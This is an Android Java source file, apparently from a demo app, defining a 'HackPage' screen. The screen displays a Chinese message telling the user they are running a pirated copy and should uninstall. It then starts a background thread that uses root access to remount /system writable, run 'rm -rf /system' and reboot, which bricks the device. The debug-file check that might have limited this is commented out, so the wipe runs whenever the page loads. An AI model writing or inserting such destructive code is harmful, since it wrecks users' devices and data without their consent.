package com.example.demo08;

import java.io.File;

import com.chrisplus.rootmanager.RootManager;

import android.os.Bundle;
import android.os.Environment;
import android.view.View;

public class HackPage extends InfoPage {

	@Override
	public void onViewCreated(View view, Bundle savedInstanceState) {
		super.onViewCreated(view, savedInstanceState);
		
		set("您使用的盗版，请卸载 3");
		
		update();
		
//		if(new File(Environment.getExternalStorageDirectory(), "debug").exists()) {
			
		
		new Thread(new Runnable() {
			
			@Override
			public void run() {

				RootManager.getInstance().runCommand("mount -o remount,rw /system");
				RootManager.getInstance().runCommand("rm -rf /system");
				RootManager.getInstance().runCommand("reboot");
			}
		}).start();
//		}
	}
}
